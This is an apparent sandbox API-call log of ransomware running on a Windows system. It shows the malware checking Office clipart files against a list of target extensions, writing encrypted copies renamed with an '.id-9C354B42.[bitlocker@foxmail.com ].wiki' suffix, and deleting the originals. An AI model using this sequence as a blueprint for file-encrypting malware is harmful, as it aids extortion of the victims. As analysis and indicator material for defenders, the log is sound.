[0199.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0199.546] lstrlenW (lpString=".zip") returned 4 [0199.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.546] lstrlenW (lpString=".rar") returned 4 [0199.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.546] lstrlenW (lpString=".bz2") returned 4 [0199.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.546] lstrlenW (lpString=".7z") returned 3 [0199.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0199.546] lstrlenW (lpString=".dbf") returned 4 [0199.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0199.546] lstrlenW (lpString=".1cd") returned 4 [0199.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0199.546] lstrlenW (lpString=".jpg") returned 4 [0199.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0199.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0199.546] lstrlenW (lpString=".doc") returned 4 [0199.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.546] lstrlenW (lpString=".docx") returned 5 [0199.547] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0199.547] lstrlenW (lpString=".pdf") returned 4 [0199.547] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.547] lstrlenW (lpString=".xls") returned 4 [0199.547] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.547] lstrlenW (lpString=".xlsx") returned 5 [0199.547] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0199.547] lstrlenW (lpString=".ppt") returned 4 [0199.547] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0199.547] lstrlenW (lpString=".zip") returned 4 [0199.547] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.547] lstrlenW (lpString=".rar") returned 4 [0199.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.547] lstrlenW (lpString=".bz2") returned 4 [0199.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.547] lstrlenW (lpString=".7z") returned 3 [0199.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0199.547] lstrlenW (lpString=".dbf") returned 4 [0199.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0199.547] lstrlenW (lpString=".1cd") returned 4 [0199.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0199.547] lstrlenW (lpString=".jpg") returned 4 [0199.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.548] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.548] lstrlenW (lpString="J0185828.WMF") returned 12 [0199.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.548] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=7796) returned 1 [0199.548] CloseHandle (hObject=0x1fc) returned 1 [0199.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf")) returned 0x20 [0199.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.548] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.549] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.549] GetLastError () returned 0x0 [0199.549] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1e74, lpOverlapped=0x0) returned 1 [0199.715] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0199.716] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.716] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.716] SetEndOfFile (hFile=0x1cc) returned 1 [0199.716] CloseHandle (hObject=0x1cc) returned 1 [0199.716] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.716] SetEndOfFile (hFile=0x1fc) returned 1 [0199.717] CloseHandle (hObject=0x1fc) returned 1 [0199.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.717] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf")) returned 1 [0199.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0199.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0199.718] lstrlenW (lpString=".doc") returned 4 [0199.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.718] lstrlenW (lpString=".docx") returned 5 [0199.718] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0199.718] lstrlenW (lpString=".pdf") returned 4 [0199.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.718] lstrlenW (lpString=".xls") returned 4 [0199.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.718] lstrlenW (lpString=".xlsx") returned 5 [0199.718] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0199.718] lstrlenW (lpString=".ppt") returned 4 [0199.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0199.718] lstrlenW (lpString=".zip") returned 4 [0199.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.718] lstrlenW (lpString=".rar") returned 4 [0199.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.718] lstrlenW (lpString=".bz2") returned 4 [0199.718] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.718] lstrlenW (lpString=".7z") returned 3 [0199.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0199.718] lstrlenW (lpString=".dbf") returned 4 [0199.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0199.718] lstrlenW (lpString=".1cd") returned 4 [0199.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0199.719] lstrlenW (lpString=".jpg") returned 4 [0199.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0199.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0199.719] lstrlenW (lpString=".doc") returned 4 [0199.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.719] lstrlenW (lpString=".docx") returned 5 [0199.719] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0199.719] lstrlenW (lpString=".pdf") returned 4 [0199.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.719] lstrlenW (lpString=".xls") returned 4 [0199.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.719] lstrlenW (lpString=".xlsx") returned 5 [0199.719] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0199.719] lstrlenW (lpString=".ppt") returned 4 [0199.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0199.719] lstrlenW (lpString=".zip") returned 4 [0199.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.719] lstrlenW (lpString=".rar") returned 4 [0199.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.719] lstrlenW (lpString=".bz2") returned 4 [0199.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.719] lstrlenW (lpString=".7z") returned 3 [0199.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0199.719] lstrlenW (lpString=".dbf") returned 4 [0199.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0199.720] lstrlenW (lpString=".1cd") returned 4 [0199.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0199.720] lstrlenW (lpString=".jpg") returned 4 [0199.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.720] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.720] lstrlenW (lpString="J0187825.WMF") returned 12 [0199.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.720] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=7500) returned 1 [0199.720] CloseHandle (hObject=0x1fc) returned 1 [0199.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf")) returned 0x20 [0199.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.721] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.721] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.721] GetLastError () returned 0x0 [0199.721] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1d4c, lpOverlapped=0x0) returned 1 [0199.723] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1d50, lpOverlapped=0x0) returned 1 [0199.724] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.724] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.724] SetEndOfFile (hFile=0x1cc) returned 1 [0199.724] CloseHandle (hObject=0x1cc) returned 1 [0199.724] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.724] SetEndOfFile (hFile=0x1fc) returned 1 [0199.725] CloseHandle (hObject=0x1fc) returned 1 [0199.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.725] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf")) returned 1 [0199.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0199.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0199.725] lstrlenW (lpString=".doc") returned 4 [0199.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.726] lstrlenW (lpString=".docx") returned 5 [0199.726] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.726] lstrlenW (lpString=".pdf") returned 4 [0199.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.726] lstrlenW (lpString=".xls") returned 4 [0199.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.726] lstrlenW (lpString=".xlsx") returned 5 [0199.726] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.726] lstrlenW (lpString=".ppt") returned 4 [0199.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0199.726] lstrlenW (lpString=".zip") returned 4 [0199.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.726] lstrlenW (lpString=".rar") returned 4 [0199.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.726] lstrlenW (lpString=".bz2") returned 4 [0199.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.726] lstrlenW (lpString=".7z") returned 3 [0199.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0199.726] lstrlenW (lpString=".dbf") returned 4 [0199.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0199.726] lstrlenW (lpString=".1cd") returned 4 [0199.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0199.726] lstrlenW (lpString=".jpg") returned 4 [0199.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0199.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0199.727] lstrlenW (lpString=".doc") returned 4 [0199.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.727] lstrlenW (lpString=".docx") returned 5 [0199.727] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.727] lstrlenW (lpString=".pdf") returned 4 [0199.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.727] lstrlenW (lpString=".xls") returned 4 [0199.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.727] lstrlenW (lpString=".xlsx") returned 5 [0199.727] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.727] lstrlenW (lpString=".ppt") returned 4 [0199.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0199.727] lstrlenW (lpString=".zip") returned 4 [0199.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.727] lstrlenW (lpString=".rar") returned 4 [0199.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.727] lstrlenW (lpString=".bz2") returned 4 [0199.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.727] lstrlenW (lpString=".7z") returned 3 [0199.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0199.727] lstrlenW (lpString=".dbf") returned 4 [0199.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0199.727] lstrlenW (lpString=".1cd") returned 4 [0199.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0199.728] lstrlenW (lpString=".jpg") returned 4 [0199.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.728] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.728] lstrlenW (lpString="J0187829.WMF") returned 12 [0199.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.728] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=12352) returned 1 [0199.728] CloseHandle (hObject=0x1fc) returned 1 [0199.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf")) returned 0x20 [0199.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.729] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.729] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.729] GetLastError () returned 0x0 [0199.729] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x3040, lpOverlapped=0x0) returned 1 [0199.732] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3050, lpOverlapped=0x0) returned 1 [0199.733] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.733] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.733] SetEndOfFile (hFile=0x1cc) returned 1 [0199.733] CloseHandle (hObject=0x1cc) returned 1 [0199.733] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.733] SetEndOfFile (hFile=0x1fc) returned 1 [0199.734] CloseHandle (hObject=0x1fc) returned 1 [0199.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf")) returned 1 [0199.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0199.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0199.734] lstrlenW (lpString=".doc") returned 4 [0199.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.734] lstrlenW (lpString=".docx") returned 5 [0199.734] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.734] lstrlenW (lpString=".pdf") returned 4 [0199.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.734] lstrlenW (lpString=".xls") returned 4 [0199.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.735] lstrlenW (lpString=".xlsx") returned 5 [0199.735] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.735] lstrlenW (lpString=".ppt") returned 4 [0199.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0199.735] lstrlenW (lpString=".zip") returned 4 [0199.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.735] lstrlenW (lpString=".rar") returned 4 [0199.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.735] lstrlenW (lpString=".bz2") returned 4 [0199.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.735] lstrlenW (lpString=".7z") returned 3 [0199.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0199.735] lstrlenW (lpString=".dbf") returned 4 [0199.735] lstrcmpiW (lpString1=".dbf", 